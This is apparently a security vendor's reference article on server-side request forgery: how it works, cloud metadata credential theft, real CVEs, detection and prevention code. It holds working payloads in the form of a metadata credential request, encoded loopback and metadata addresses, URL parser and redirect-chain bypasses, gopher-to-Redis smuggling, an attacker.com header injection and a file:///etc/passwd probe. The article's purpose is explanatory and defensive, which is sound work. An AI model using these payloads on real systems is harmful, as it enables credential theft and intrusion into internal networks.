SSRF — Server-Side Request Forgery

What is SSRF?#

Server-Side Request Forgery (CWE-918) occurs when an attacker causes a server to make HTTP requests to a destination of the attacker's choosing. The server becomes an involuntary proxy: its outbound request originates from a trusted internal IP, bypassing firewalls, VPC security groups, and network-layer access controls that would block the same request from an external client.

SSRF is categorically different from CSRF and Open Redirect. CSRF tricks a user's browser into sending a forged request but cannot read the response. Open Redirect causes a user's browser to follow an attacker-controlled URL, causing a client-side navigation. SSRF bypasses all of these — the vulnerable server itself fetches the resource, granting access to internal endpoints, metadata services, and localhost that are invisible to the public internet. Unlike SQL injection or code injection, SSRF requires no special server-side execution capability — any HTTP client library becomes the attack vector.

SSRF earned its own OWASP Top 10 entry (A10:2021) for the first time in 2021, reflecting a structural shift: cloud deployments created a universally exploitable attack surface. Every EC2, ECS, Lambda, GCE instance, and Azure VM exposes a link-local metadata service reachable only from within the instance. SSRF is the only external path to that endpoint. SonicWall's 2025 Cyber Threat Report documents a 452% increase in SSRF attacks from 2023 to 2024, correlated with AI-assisted exploitation tooling. As of late 2024, only 32% of EC2 instances enforce IMDSv2 — meaning roughly two-thirds of AWS workloads remain vulnerable to single-request credential theft.

Mechanism#

An application accepts a URL parameter and passes it directly to a server-side HTTP client. The server's internal network position grants it access to services the attacker cannot reach directly.

The attack proceeds in four steps:

1. The attacker identifies a parameter that accepts a URL value (url, callback, webhook, image_url, redirect, feed, endpoint).
2. The attacker submits an internal URL — metadata endpoint, localhost service, or RFC-1918 address.
3. The server passes the URL to an HTTP client library (requests.get(), fetch(), HttpURLConnection, net/http.Get()) without validation.
4. The server receives the internal response and either returns it directly (in-band SSRF) or processes it silently (blind SSRF).

A minimal in-band SSRF against the AWS metadata service:

POST /api/fetch-preview HTTP/1.1
Host: app.example.com
Content-Type: application/json
 
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/MyApp-EC2Role"}

HTTP/1.1 200 OK
Content-Type: application/json
 
{
  "AccessKeyId": "ASIAIOSFODNN7EXAMPLE",
  "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
  "Token": "EXAMPLE_SESSION_TOKEN_TRUNCATED...",
  "Expiration": "2026-05-09T18:00:00Z"
}

These credentials are valid IAM credentials — usable with aws s3 ls, aws iam list-roles, aws ec2 describe-instances, and any other AWS API call within the role's permission boundary.

Attack Variants#

Basic in-band SSRF is the most directly exploitable form. The server returns the fetched response verbatim. A URL parameter named url, src, image, remote, feed, or webhook submitting http://169.254.169.254/latest/meta-data/ is the canonical starting point. The 2019 Capital One breach followed exactly this pattern.

Blind SSRF yields no response to the attacker. Detection requires an OOB listener (Burp Collaborator, Interactsh). A DNS-only callback confirms the server resolves the hostname but HTTP is blocked — POTENTIAL, not CONFIRMED. An HTTP callback confirms a live outbound request — CONFIRMED HIGH. Data exfiltrated in the OOB body (AWS credentials in the URL path) — CONFIRMED CRITICAL.

Protocol smuggling elevates SSRF to RCE when the server uses a multi-protocol HTTP client. Python urllib, Java java.net.URL, and curl all support gopher://, file://, and dict://. Submitting gopher://127.0.0.1:6379/_<redis-commands> sends raw TCP bytes directly to an internal Redis instance, enabling cron-based code execution.

Header-based SSRF occurs when HTTP headers containing hostname values are consumed server-side. CVE-2026-27739 (Angular SSR, CVSS 9.2): injecting X-Forwarded-Host: attacker.com causes the SSR layer to make an outbound request to http://attacker.com/api/config. GitLab CVE-2025-6454 (CVSS 8.5): CRLF injection in webhook custom headers allows injecting Metadata: true as a separate header, bypassing Azure IMDS protection.

Cloud Metadata Services#

Cloud metadata services are link-local HTTP APIs, reachable only from within the instance. SSRF is the sole external attack path.

IMDSv2 bypass conditions: IMDSv2 blocks naive single-GET SSRF by requiring a PUT with X-aws-ec2-metadata-token-ttl-seconds to obtain a session token. Four bypass conditions exist: (1) header-injection SSRF (CVE-2019-8451 Atlassian Confluence pattern) allows injecting the PUT header; (2) multi-request SSRF chains PUT then GET; (3) headless Chrome PDF generators execute the full IMDSv2 flow via JavaScript fetch() — PUT token, then GET credentials; (4) redirect chains issue the PUT at the redirect server.

Filter Bypass Techniques#

Blocklist-based SSRF filters that check for 127.0.0.1, localhost, or 169.254 are bypassed by encoding, parsing differentials, and redirect chains.

IP Address Encoding#

All of the following resolve to 127.0.0.1 (loopback) but bypass string-match filters:

http://2130706433/          # decimal DWORD
http://0177.0.0.1/          # octal per-octet
http://0x7f000001/          # hex single value
http://127.1/               # 3-octet shorthand
http://[::1]/               # IPv6 loopback
http://[::ffff:127.0.0.1]/  # IPv6-mapped IPv4
http://[::ffff:7f00:1]/     # CVE-2025-9960: IPv6 hextet form — bypasses IPv4-only blocklists
http://localhost./           # trailing FQDN dot — bypasses NO_PROXY literal match (CVE-2025-62718)
http://localtest.me/        # public DNS service resolving to 127.0.0.1

For 169.254.169.254 (AWS IMDS), equivalent encodings:

http://2852039166/              # decimal DWORD
http://0xA9FEA9FE/              # hex
http://0251.0376.0251.0376/     # octal
http://[::ffff:169.254.169.254]/ # IPv6-mapped
http://[::ffff:a9fe:a9fe]/       # IPv6 hex

URL Parser Differential#

Validation layer and HTTP library may parse the same string differently:

http://trusted.com@169.254.169.254/  # validator sees trusted.com as host; requester uses IP
http://169.254.169.254#@trusted.com/ # fragment confusion — validator fails on # host
http://169.254.169.254\trusted.com/  # WHATWG treats \ as / — bypasses suffix checks
http://trusted.com.evil.com/          # satisfies endsWith('trusted.com') check

CVE-2024-29415 (Node.js ip package, unmaintained): ip.isPublic() classifies 127.1, ::fFFf:127.0.0.1, and 01200034567 as globally routable, providing zero SSRF protection for any application relying on it.

CVE-2025-62718 (Axios < 1.15.0, CVSS 9.3): NO_PROXY rules use literal string comparison. http://localhost.:8080/ (trailing dot) and http://[::1]:8080/ (IPv6 loopback) bypass all NO_PROXY rules, routing requests through an attacker-controlled proxy.

Redirect Chain Bypass#

Validators that check only the initial URL and follow redirects without re-validation:

https://302.r3dir.me/?r=http://169.254.169.254/latest/meta-data/
https://307.r3dir.me/?r=http://169.254.169.254/latest/meta-data/
# 307 preserves HTTP method — critical for POST-based SSRF

Real-World CVEs and Incidents#

Capital One 2019 remains the canonical SSRF case study. A WAF instance running on EC2 had an SSRF vulnerability. The attacker queried http://169.254.169.254/latest/meta-data/iam/security-credentials/ISRM-WAF-Role via a single unauthenticated HTTP request. The returned temporary IAM credentials had excessive S3 permissions — the attacker enumerated 700+ buckets and exfiltrated 30 GB of data covering 106 million customer records. Regulatory outcome: $80M OCC fine, $190M class action settlement. Root cause: IMDSv1 (no authentication) + overprivileged IAM role + no network egress controls.

CVE-2025-62718 — Axios NO_PROXY bypass (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H = 9.3 Critical): Axios performs literal string comparison when evaluating NO_PROXY rules per RFC 1034 §3.1. A trailing dot on FQDNs (localhost. vs localhost) is valid per RFC 3986 §3.2.2 but bypasses Axios NO_PROXY checks in all versions before 1.15.0. Any Node.js backend using Axios with proxy configuration — a common enterprise pattern for outbound filtering — was fully exposed to SSRF via http://localhost.:PORT/ or http://[::1]:PORT/ requests.

CVE-2025-6454 — GitLab CRLF injection → SSRF (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H = 8.5): GitLab 16.11 introduced custom webhook headers without CRLF sanitization. An authenticated Developer could inject \r\n sequences into header names, inserting arbitrary headers into the serialized outbound webhook payload. In proxy-based enterprise deployments, injecting \r\nMetadata: true\r\n as a second header bypassed Azure IMDS protection and reached the managed identity credential endpoint.

CVE-2025-4123 — Grafana open redirect → SSRF: Grafana v10.4 through 12.0 contained a client-side path traversal enabling open redirect. When the Grafana Image Renderer plugin is installed, the renderer fetches the redirected URL server-side — converting a client-side open redirect into a full-read SSRF. The renderer accessed 169.254.169.254 and returned AWS IAM credentials as part of the rendered image. One-third of all Grafana instances were estimated vulnerable at disclosure.

Detection#

Manual Testing#

1. Enumerate all URL-accepting parameters: url, uri, redirect, callback, webhook, image_url, avatar, feed, endpoint, src, target, dest, remote. Also test JSON body fields: webhook, callback_url, endpoint, image, redirect.
2. Submit a Burp Collaborator or Interactsh URL in each parameter. Monitor for DNS queries (2 lookups = SSRF exists, HTTP blocked — POTENTIAL) and HTTP callbacks (SSRF confirmed — HIGH).
3. Submit internal addresses:

   http://169.254.169.254/latest/meta-data/
   http://localhost/
   http://[::1]/
   http://192.168.0.1/
   file:///etc/passwd

   Copy

4. Check response for AWS credential JSON keys (AccessKeyId, SecretAccessKey), internal service banners (Grafana, elasticsearch, "cluster_name"), or RFC-1918 address content.
5. For blind SSRF: test timing differences between http://169.254.169.254/ (fast TCP RST or SYN-ACK) and http://192.0.2.1/ (RFC 5737 documentation IP, guaranteed unreachable, 30s SYN-timeout). A statistically significant differential (Welch t-test p < 0.05) confirms an outbound connection attempt.
6. Test HTTP headers: inject your OOB URL in Host, X-Forwarded-Host, X-Forwarded-For, Referer, and X-Original-URL.

Automated Detection#

Burp Suite Pro: the active scanner automatically injects Burp Collaborator URLs into all parameters and headers, flags DNS and HTTP callbacks as SSRF findings. Burp Collaborator distinguishes DNS-only (potential) from HTTP (confirmed).

Interactsh (ProjectDiscovery, open-source): self-hostable OOB infrastructure for pipeline automation. Generates unique per-parameter tokens — a DNS resolution without HTTP remains POTENTIAL; an HTTP GET/POST is CONFIRMED.

Semgrep (semgrep --config p/python): flags requests.get($URL) with user-controlled $URL, unvalidated urllib.request.urlopen(), and httpx.get() taint paths. CodeQL SSRF queries trace full data-flow from HTTP input to HTTP client sink across function boundaries.

BreachVex detects SSRF via per-parameter out-of-band callbacks (one unique token per URL parameter, capped at 10), response differential analysis (body-length ratio plus a timing threshold), cloud metadata content matching, and a graduated proof model: a DNS-only callback is potential, an HTTP callback is confirmed high-severity, and out-of-band data exfiltration is confirmed critical.

Prevention#

Hostname Allowlist with Post-Resolution IP Validation#

An allowlist is the only reliable SSRF defense. Blocklists have too many encoding, alias, and DNS rebinding bypasses to be effective. The allowlist must be validated after DNS resolution — not just on the hostname string.

import ipaddress
import socket
import urllib.parse
import requests
 
ALLOWED_HOSTS = frozenset({"api.stripe.com", "hooks.slack.com", "cdn.example.com"})
 
class SSRFError(ValueError):
    pass
 
def validate_and_fetch(url: str) -> str:
    parsed = urllib.parse.urlparse(url)
 
    # 1. Scheme allowlist — blocks gopher://, file://, dict://, ftp://
    if parsed.scheme not in ("http", "https"):
        raise SSRFError(f"Disallowed scheme: {parsed.scheme!r}")
 
    host = (parsed.hostname or "").rstrip(".")  # strip trailing FQDN dot (CVE-2025-62718 class)
    if not host:
        raise SSRFError("Missing hostname")
 
    # 2. Exact hostname allowlist (not contains / startsWith)
    if host not in ALLOWED_HOSTS:
        raise SSRFError(f"Host not in allowlist: {host!r}")
 
    # 3. DNS resolution — validate every returned IP address
    try:
        results = socket.getaddrinfo(host, None, proto=socket.IPPROTO_TCP)
    except socket.gaierror as e:
        raise SSRFError(f"DNS resolution failed: {e}")
 
    for (_, _, _, _, sockaddr) in results:
        ip = ipaddress.ip_address(sockaddr[0])
        # Normalize IPv6-mapped IPv4: ::ffff:127.0.0.1 → 127.0.0.1
        if isinstance(ip, ipaddress.IPv6Address) and ip.ipv4_mapped:
            ip = ip.ipv4_mapped
        if (ip.is_private or ip.is_loopback or ip.is_link_local
                or ip.is_reserved or ip.is_multicast or ip.is_unspecified):
            raise SSRFError(f"Resolved to blocked address: {ip}")
 
    # 4. No automatic redirect following — validate each Location header manually
    resp = requests.get(url, timeout=5, allow_redirects=False)
    if resp.is_redirect:
        raise SSRFError(f"Redirect to {resp.headers.get('location')!r} — not followed")
    return resp.text

Node.js Safe Fetch Pattern#

const dns = require('dns').promises;
const { URL } = require('url');
const fetch = require('node-fetch');
 
const ALLOWED_ORIGINS = new Set(['https://api.stripe.com', 'https://hooks.slack.com']);
 
// Check if IP is private/link-local
function isPrivateAddress(ip) {
  return /^(10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.|169\.254\.|127\.|::1$|fc|fd)/i.test(ip);
}
 
async function safeFetch(rawUrl) {
  const parsed = new URL(rawUrl); // throws on invalid URLs
 
  if (!['http:', 'https:'].includes(parsed.protocol)) {
    throw new Error(`Disallowed scheme: ${parsed.protocol}`);
  }
 
  // Strip trailing dot (CVE-2025-62718 class)
  const hostname = parsed.hostname.replace(/\.$/, '');
  const origin = `${parsed.protocol}//${hostname}`;
 
  if (!ALLOWED_ORIGINS.has(origin)) {
    throw new Error(`Host not in allowlist: ${origin}`);
  }
 
  // Resolve and validate all returned IPs
  const addresses = await dns.lookup(hostname, { all: true });
  for (const { address } of addresses) {
    if (isPrivateAddress(address)) {
      throw new Error(`Resolved to private address: ${address}`);
    }
  }
 
  // No redirect following
  return fetch(rawUrl, { redirect: 'error', timeout: 5000 });
}

Java Safe Fetch Pattern#

import java.net.*;
import java.util.Set;
 
public class SafeHttpFetcher {
    private static final Set<String> ALLOWED_HOSTS = Set.of("api.stripe.com", "hooks.slack.com");
 
    public static InputStream safeFetch(String rawUrl) throws Exception {
        URI uri = new URI(rawUrl);
        String scheme = uri.getScheme();
 
        // Scheme allowlist
        if (!"http".equals(scheme) && !"https".equals(scheme)) {
            throw new SecurityException("Only http/https allowed: " + scheme);
        }
 
        String host = uri.getHost();
        if (!ALLOWED_HOSTS.contains(host)) {
            throw new SecurityException("Host not allowed: " + host);
        }
 
        // Resolve and check all IPs (IPv6-mapped included)
        InetAddress addr = InetAddress.getByName(host);
        if (addr.isLoopbackAddress() || addr.isLinkLocalAddress()
                || addr.isSiteLocalAddress() || addr.isAnyLocalAddress()
                || addr.isMulticastAddress()) {
            throw new SecurityException("Resolved to private address: " + addr.getHostAddress());
        }
 
        HttpURLConnection con = (HttpURLConnection) uri.toURL().openConnection();
        con.setInstanceFollowRedirects(false); // no redirect following
        con.setConnectTimeout(5000);
        con.setReadTimeout(5000);
        return con.getInputStream();
    }
}

IMDSv2 Enforcement (AWS)#

# Enforce IMDSv2 on a single instance
aws ec2 modify-instance-metadata-options \
  --instance-id i-1234567890abcdef0 \
  --http-tokens required \
  --http-put-response-hop-limit 1
 
# Audit: list all instances still using IMDSv1
aws ec2 describe-instances \
  --query "Reservations[].Instances[?MetadataOptions.HttpTokens=='optional'].{ID:InstanceId,State:State.Name}" \
  --output table
 
# Organization-wide SCP — deny RunInstances with IMDSv1
# Add to SCP in AWS Organizations

{
  "Effect": "Deny",
  "Action": "ec2:RunInstances",
  "Resource": "arn:aws:ec2:*:*:instance/*",
  "Condition": {
    "StringEquals": {
      "ec2:MetadataHttpTokens": "optional"
    }
  }
}

Network Egress Controls and Container Hardening#

Block outbound connections to metadata and private ranges at the infrastructure layer — defense in depth that remains effective even when application-layer validation is bypassed:

# Kubernetes NetworkPolicy — deny egress to metadata and RFC-1918
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: deny-metadata-egress
spec:
  podSelector: {}
  policyTypes:
    - Egress
  egress:
    - to:
        - ipBlock:
            cidr: 0.0.0.0/0
            except:
              - 169.254.169.254/32   # AWS/Azure IMDS
              - 169.254.170.2/32     # ECS task metadata
              - 168.63.129.16/32     # Azure WireServer
              - 10.0.0.0/8           # RFC 1918
              - 172.16.0.0/12        # RFC 1918
              - 192.168.0.0/16       # RFC 1918

# Drop CAP_NET_RAW in containers — prevents raw socket protocol smuggling
FROM python:3.12-slim
# ... application setup ...
# In Kubernetes SecurityContext or Docker --cap-drop=NET_RAW

Go Safe Fetch Pattern#

package main
 
import (
    "fmt"
    "net"
    "net/http"
    "net/url"
    "strings"
)
 
var allowedHosts = map[string]bool{"api.stripe.com": true, "hooks.slack.com": true}
 
func validateAndFetch(rawURL string) (*http.Response, error) {
    u, err := url.Parse(rawURL)
    if err != nil {
        return nil, fmt.Errorf("invalid URL: %w", err)
    }
    if u.Scheme != "http" && u.Scheme != "https" {
        return nil, fmt.Errorf("disallowed scheme: %s", u.Scheme)
    }
    host := strings.TrimSuffix(u.Hostname(), ".") // strip trailing dot
    if !allowedHosts[host] {
        return nil, fmt.Errorf("host not in allowlist: %s", host)
    }
    addrs, err := net.LookupHost(host)
    if err != nil {
        return nil, fmt.Errorf("DNS lookup failed: %w", err)
    }
    for _, addr := range addrs {
        ip := net.ParseIP(addr)
        if ip == nil {
            continue
        }
        if ip.IsLoopback() || ip.IsLinkLocalUnicast() || ip.IsPrivate() || ip.IsUnspecified() {
            return nil, fmt.Errorf("resolved to private address: %s", addr)
        }
    }
    // No redirect following
    client := &http.Client{
        CheckRedirect: func(req *http.Request, via []*http.Request) error {
            return http.ErrUseLastResponse
        },
    }
    return client.Get(rawURL)
}

Frequently Asked Questions#

What is Server-Side Request Forgery (SSRF)? SSRF (CWE-918, OWASP A10:2021) is a vulnerability where an attacker causes a server to make HTTP requests to a destination of the attacker's choosing — including internal metadata services, localhost, and RFC-1918 addresses unreachable from the public internet. The server acts as an involuntary proxy using its internal network position.

What is the difference between SSRF and CSRF? CSRF tricks a user's browser into sending a forged request using the victim's session. SSRF tricks the server itself into making a request to an internal resource. SSRF grants access to internal services; CSRF does not. SSRF is a server-side vulnerability; CSRF is a client-side one.

What can an attacker do with SSRF? Exfiltrate cloud IAM credentials from metadata services, scan internal network topology, reach internal admin panels and databases, achieve RCE via gopher→Redis cron injection, read local files via file://, and pivot to internal Kubernetes/etcd clusters for full secrets extraction.

What is the Capital One SSRF breach? In 2019, a WAF on AWS EC2 had SSRF. The attacker fetched http://169.254.169.254/latest/meta-data/iam/security-credentials/ISRM-WAF-Role, obtained IAM credentials, and exfiltrated 106 million customer records from S3. Outcome: $80M OCC fine, $190M class action settlement. Root cause: IMDSv1 (no auth) + overprivileged IAM role.

Does IMDSv2 prevent SSRF on AWS? IMDSv2 blocks single-GET SSRF. Four bypass conditions remain: header-injection SSRF injecting the PUT header, multi-request SSRF, headless Chrome PDF generators executing the full token flow via JavaScript, and redirect chains. Enforce HttpTokens=required via AWS SCP organization-wide as the reliable control.

What is DNS rebinding and how does it bypass SSRF filters? DNS rebinding exploits the TOCTOU gap between DNS resolution time (validation) and request time. Validation resolves attacker.com → public IP (passes). Attacker repoints DNS (TTL=0) → 169.254.169.254. Server re-resolves at request time and hits the metadata service. Defense: pin the resolved IP and force the connection to that IP directly.

How do you prevent SSRF in Python? Enforce scheme allowlist, exact hostname allowlist, DNS resolution with socket.getaddrinfo(), IP validation (private/loopback/link-local/reserved/multicast/unspecified all blocked), IPv6-mapped IPv4 normalization, allow_redirects=False, and redirect target re-validation.

What is protocol smuggling in SSRF? When the server uses a multi-protocol client, schemes beyond http/https reach non-HTTP services: gopher:// → raw TCP to Redis/FastCGI/MySQL; file:// → local filesystem; dict:// → Memcached. gopher://127.0.0.1:6379/ + Redis commands enables cron-based RCE.

What SSRF parameters should I test? webhook, callback_url, notify_url, hook_url, url, redirect, dest, destination, next, return, image_url, avatar_url, thumbnail, import_url, feed_url, remote, download_url. Also JSON body fields: url, endpoint, callback, redirect, image, webhook, jwks_uri, logo_uri.

How do you detect SSRF with Burp Suite? Generate a Burp Collaborator URL and submit it in every URL-accepting parameter and HTTP header (Host, X-Forwarded-Host, Referer). Monitor the Collaborator panel: DNS queries = SSRF exists (HTTP may be blocked); HTTP callback = SSRF confirmed.

What is the CVSS vector for SSRF? Unauthenticated cloud metadata SSRF: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N = 7.5 High. CVE-2025-6454 (GitLab CRLF→SSRF): CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H = 8.5. CVE-2025-62718 (Axios): 9.3 Critical.

What network controls defend against SSRF? Block egress to 169.254.0.0/16, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, and 127.0.0.0/8 at the VPC/security-group level. Use Kubernetes NetworkPolicy to deny pod egress to metadata endpoints. Enforce IMDSv2 via AWS SCP.

Resources#

• Score this vulnerability with our free CVSS v4.0 calculator
• OWASP SSRF Prevention Cheat Sheet
• PortSwigger Web Security Academy — SSRF
• AWS IMDSv2 Migration Guide
• PayloadsAllTheThings — SSRF